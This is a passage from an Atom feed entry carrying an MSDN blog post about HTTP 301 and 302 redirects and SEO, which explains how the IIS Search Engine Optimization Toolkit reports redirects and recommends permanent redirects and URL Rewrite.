href="http://www.carlosag.net/images/Redirects301302andIISSEOToolkit_A01E/IISSEORedirect2.png"&gt;&lt;img style="border-right-width: 0px; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" border="0" alt="IISSEORedirect2" src="http://www.carlosag.net/images/Redirects301302andIISSEOToolkit_A01E/IISSEORedirect2_thumb.png" width="244" height="181" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p&gt;Similarly with all the other violations it tries to explain the reason it is being flagged as well as recommended actions to follow for each of them.&lt;/p&gt;  &lt;p&gt;IIS Search Engine Optimization Toolkit can also help you find all the different types of redirects and the locations where they are being used in a very easy way, just select Content-&amp;gt;Status Code Summary in the Dashboard view and you will see all the different HTTP Status codes received from your Web site. Notice in the image below how you can see the number of redirects (in this case 18 temporary redirects and 2 permanent redirects). You can also see how much content they accounted for, in this case about 2.5 kb (Note that I've seen Web sites generate a large amount of useless content in redirect traffic, speaking of spending in bandwidth). You can double click any of those rows and it will show you the details of the URL's that returned that and from there you can see who links to them, etc.&lt;/p&gt;  &lt;p&gt;&lt;a href="http://www.carlosag.net/images/Redirects301302andIISSEOToolkit_A01E/IISSEORedirect3.png"&gt;&lt;img style="border-right-width: 0px; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" border="0" alt="IISSEORedirect3" src="http://www.carlosag.net/images/Redirects301302andIISSEOToolkit_A01E/IISSEORedirect3_thumb.png" width="244" height="184" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;h2&gt;So what should I do?&lt;/h2&gt;  &lt;ol&gt;   &lt;li&gt;&lt;strong&gt;Know your Web site&lt;/strong&gt;. Run Site Analysis against your Web site and see all the different redirects that are happening.&lt;/li&gt;    &lt;li&gt;&lt;strong&gt;Try to minimize redirections. &lt;/strong&gt;If possible with the knowledge gain on 1, make sure to look for places where you can update your content to reduce the number of redirects.&lt;/li&gt;    &lt;li&gt;&lt;strong&gt;Use the right redirect&lt;/strong&gt;. Understand what is the intent of the redirection you are trying to do and make sure you are using the right semantics (is it permanent or temporary). Whenever possible prefer Permanent Redirects 301. &lt;/li&gt;    &lt;li&gt;&lt;strong&gt;Use &lt;a href="http://www.iis.net/extensions/URLRewrite"&gt;URL Rewrite&lt;/a&gt; to easily configure them&lt;/strong&gt;. URL Rewrite allows you to configure a set of rules using both regular expressions and wildcards that live along with your application (no-administrative privileges required) that can let you set the right redirection status code. A must for SEO. More on this on a future blog. &lt;/li&gt; &lt;/ol&gt;  &lt;h2&gt;Summary&lt;/h2&gt;  &lt;p&gt;So going back to the original question: &amp;quot;are redirects bad for Search Engine Optimization?&amp;quot;. Not necessarily, they are an important tool used by Web application for many reasons such as:&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;Canonicalization. Ensure that users are accessing your site with www. or without www. use permanent redirects &lt;/li&gt;    &lt;li&gt;Page impressions and analytics. Using temporary redirects to ensure that the original link is preserved and counters work as expected. &lt;/li&gt;    &lt;li&gt;Content reorganization. Whether you are changing your host due to a brand change or just renaming a page, you should make sure to use permanent redirects to keep your page rankings. &lt;/li&gt;    &lt;li&gt;etc &lt;/li&gt; &lt;/ul&gt;  &lt;p&gt;Just make sure you don't abuse them by having redirects to redirects, unnecessary redirects, infinite loops, and use the right semantics.&lt;/p&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=9728964" width="1" height="1"&gt;</content><author><name>CarlosAg</name><uri>http://blogs.msdn.com/members/CarlosAg.aspx</uri></author><category term="IIS" scheme="http://blogs.msdn.com/carlosag/archive/tags/IIS/default.aspx" /><category term="IIS Manager" scheme="http://blogs.msdn.com/carlosag/archive/tags/IIS+Manager/default.aspx" /><category term="SEO" scheme="http://blogs.msdn.com/carlosag/archive/tags/SEO/default.aspx" /></entry></feed>